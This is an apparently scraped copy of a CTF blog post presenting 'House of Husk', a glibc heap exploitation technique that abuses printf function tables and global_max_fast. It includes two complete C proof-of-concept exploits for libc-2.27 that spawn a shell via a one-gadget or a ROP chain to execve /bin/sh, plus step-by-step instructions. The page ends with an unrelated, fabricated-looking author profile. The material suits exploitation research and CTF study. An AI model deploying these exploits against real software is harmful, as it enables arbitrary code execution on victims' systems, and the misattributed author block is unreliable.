House of Husk - CTFするぞ (2024)

Yesterday I came up with an idea of a new heap exploitation technique.As far as I googled it, nobody had published the technique yet and I named it "House of Husk."

The technique makes it easy to control RIP under the condition that we can malloc/free large chunks which have UAF.It introduces and takes advantage of a little known function table rather than introduce a new exploitation vector.

PoC:

github.com

Japanese version:

ptr-yudai.hatenablog.com

  • About
  • House of Husk
    • Primitive
      • register_printf_function
      • Relative overwrite
    • Method 1
      • Premise
      • The good
      • Exploit
      • PoC
    • Method 2
      • Premise
      • The good
      • Exploit
      • PoC
  • Example

Primitive

register_printf_function

There exists a function named register_printf_function in libc.As the name suggests, it registers a new format string for printf.This function calls __register_printf_specifier and it allocates __printf_arginfo_table in the first time like this:

 if (__printf_function_table == NULL) { __printf_arginfo_table = (printf_arginfo_size_function **) calloc (UCHAR_MAX + 1, sizeof (void *) * 2); if (__printf_arginfo_table == NULL) { result = -1; goto out; } __printf_function_table = (printf_function **) (__printf_arginfo_table + UCHAR_MAX + 1); }

On the other hand, some functions with format string, such as printf and sprintf, check if __printf_function_table is registered in the following way.

 /* Use the slow path in case any printf handler is registered. */ if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional;

If not, it goes to a fast path which implements the default format string.If registered, it jumps to the slow path in which the registered format is used.In order to check the type of arguments, it calls a function registered in __printf_arginfo_table before using one in __printf_function_table.

Relative overwrite

I've already explained it in this article of House of Corrosion in Japanese.I'll write it briefly in English here.

The principle is that we make global_max_fast a big value using unsorted bin attack.After that, (mostly) all large freed chunks will be listed in "fastbin."global_max_fast is supposed to be smaller, not bigger, so it actually overwrites data out of main_arena.

If you want to overwrite data that is located delta-byte after fastbin, you may just free a chunk whose size is

size = (delta * 2) + 0x20

Method 1

Premise

House of Husk doesn't depend on the version of libc as long as it has fastbins and unsorted bin attack is available.

  • UAF on a chunk listed in unsorted bin
  • 2 large mallocs in addition to some normal (but a bit large) mallocs (In libc-2.27 requires a 0x9420 and 0x1850-byte malloc)
    • If we can leak the heap address (which is usually the case), we only need 1-unsortedbin-sized mallocs. (such as malloc(0x500))
  • printf with format string (works with an invalid format too like %?)

The detailed condition is up to the situation. Read the PoC.

The good

It's useful when we can allocate only large chunks.As far as I know (and read some writeups) the conventional method requires something like modifying main_arena and overwriting __malloc_hook or __free_hook.It's hard in that it needs to pass the size check of fastbin.

House of Husk works with some simple steps, which is easy to understand as well, and the size check no longer matters.

Exploit

Just take the following steps:

  1. Leak libc address
  2. Make global_max_fast large by unsorted bin attack
  3. Write the address of a fake arginfo table to __printf_arginfo_table by "relative overwrite"
  4. Write a non-null value to __printf_function_table by "relative overwrite"
  5. Call printf with format string

We have to prepare a function pointer in the fake arginfo table at the offset which corresponds to the character code of the format string.In printf_positional called by printf, __printf_arginfo_table[c] will be called and we may get RIP.

PoC

Simple :)

/** * This is a Proof-of-Concept for House of Husk * This PoC is supposed to be run with libc-2.27. */#include <stdio.h>#include <stdlib.h>#define offset2size(ofs) ((ofs) * 2 - 0x10)#define MAIN_ARENA 0x3ebc40#define MAIN_ARENA_DELTA 0x60#define GLOBAL_MAX_FAST 0x3ed940#define PRINTF_FUNCTABLE 0x3f0658#define PRINTF_ARGINFO 0x3ec870#define ONE_GADGET 0x10a38cint main (void){ unsigned long libc_base; char *a[10]; setbuf(stdout, NULL); // make printf quiet /* leak libc */ a[0] = malloc(0x500); /* UAF chunk */ a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA)); a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA)); a[3] = malloc(0x500); /* avoid consolidation */ free(a[0]); libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA; printf("libc @ 0x%lx\n", libc_base); /* prepare fake printf arginfo table */ *(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET; /* unsorted bin attack */ *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10; a[0] = malloc(0x500); /* overwrite global_max_fast */ /* overwrite __printf_arginfo_table and __printf_function_table */ free(a[1]); free(a[2]); /* ignite! */ printf("%X", 0); return 0;}

Yay!

ptr@medium-pwn:~/temp$ gcc poc.c && ./a.out libc @ 0x7ffff79e4000$ whoamiptr

Method 2

Premise

Compred with method 1, printf is not longer necessary in this method.Instead, it requires some RW UAFs and more malloc/free.

The good

It's helpful when

  • one gadget doesn't work
  • the binary is statically linked
  • have seccomp

meaning when you want to execute your rop chain.

Exploit

Follow the next steps:

  1. leak libc address (if necessary)
  2. unsorted bin attack to overwrite global_max_fast
  3. free a chunk whose size corresponds to environ
  4. overwrite 1 or 2 bytes of fd to point it to a fake chunk header
  5. prepare the fake chunk header on the stack by using stack leftover for example
  6. malloc two times with the size for environ
  7. the second malloc returns the stack pointer and you can just do rop (read canary if necessary)

Be careful that environ is broken when your rop chain works.

PoC

/** * House of Husk * This PoC is supposed to be run with libc-2.27. */#include <stdio.h>#include <stdlib.h>#define offset2size(ofs) ((ofs) * 2 - 0x10)#define MAIN_ARENA 0x3ebc40#define MAIN_ARENA_DELTA 0x60#define GLOBAL_MAX_FAST 0x3ed940#define ENVIRON 0x3ee098#define LIBC_BINSH 0x1b3e9a#define LIBC_POP_RDI 0x2155f#define LIBC_POP_RSI 0x23e6a#define LIBC_POP_RDX 0x1b96#define LIBC_EXECVE 0xe4e30unsigned long libc_base, addr_env, ofs_fake;char *a[10];int i;int main (int argc, char **argv, char **envp){ unsigned long fake_size; setbuf(stdin, NULL); setbuf(stdout, NULL); // make printf quiet ofs_fake = (void*)envp - (void*)&fake_size; /* this is fixed */ /* leak libc */ a[0] = malloc(0x500); /* UAF chunk */ a[1] = malloc(offset2size(ENVIRON - MAIN_ARENA)); a[2] = malloc(0x500); /* avoid consolidation */ free(a[0]); libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA; printf("libc @ 0x%lx\n", libc_base); /* unsorted bin attack */ *(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10; a[0] = malloc(0x500); /* overwrite global_max_fast */ /* leak environ */ free(a[1]); addr_env = *(unsigned long*)a[1]; printf("environ = 0x%lx\n", addr_env); *(unsigned long*)a[1] = addr_env - ofs_fake - 8; /* prepare fake size on stack*/ fake_size = (offset2size(ENVIRON - MAIN_ARENA) + 0x10) | 1; a[1] = malloc(offset2size(ENVIRON - MAIN_ARENA)); /* overwrite return address */ a[3] = malloc(offset2size(ENVIRON - MAIN_ARENA)); for(i = 0; i < 0x20; i++) { *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDI + 1; /* ret sled */ } *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDX; i++; *(unsigned long*)(a[3] + i*8) = 0; i++; *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RSI; i++; *(unsigned long*)(a[3] + i*8) = 0; i++; *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_POP_RDI; i++; *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_BINSH; i++; *(unsigned long*)(a[3] + i*8) = libc_base + LIBC_EXECVE; i++; getchar(); return 0;}

Example usage in CTF challenges:

  • Tukro - Pwn2Win CTF 2020
  • Error Program - Defenit CTF 2020
House of Husk - CTFするぞ (2024)
Top Articles
Latest Posts
Article information

Author: Rubie Ullrich

Last Updated:

Views: 6559

Rating: 4.1 / 5 (72 voted)

Reviews: 87% of readers found this page helpful

Author information

Name: Rubie Ullrich

Birthday: 1998-02-02

Address: 743 Stoltenberg Center, Genovevaville, NJ 59925-3119

Phone: +2202978377583

Job: Administration Engineer

Hobby: Surfing, Sailing, Listening to music, Web surfing, Kitesurfing, Geocaching, Backpacking

Introduction: My name is Rubie Ullrich, I am a enthusiastic, perfect, tender, vivacious, talented, famous, delightful person who loves writing and wants to share my knowledge and understanding with you.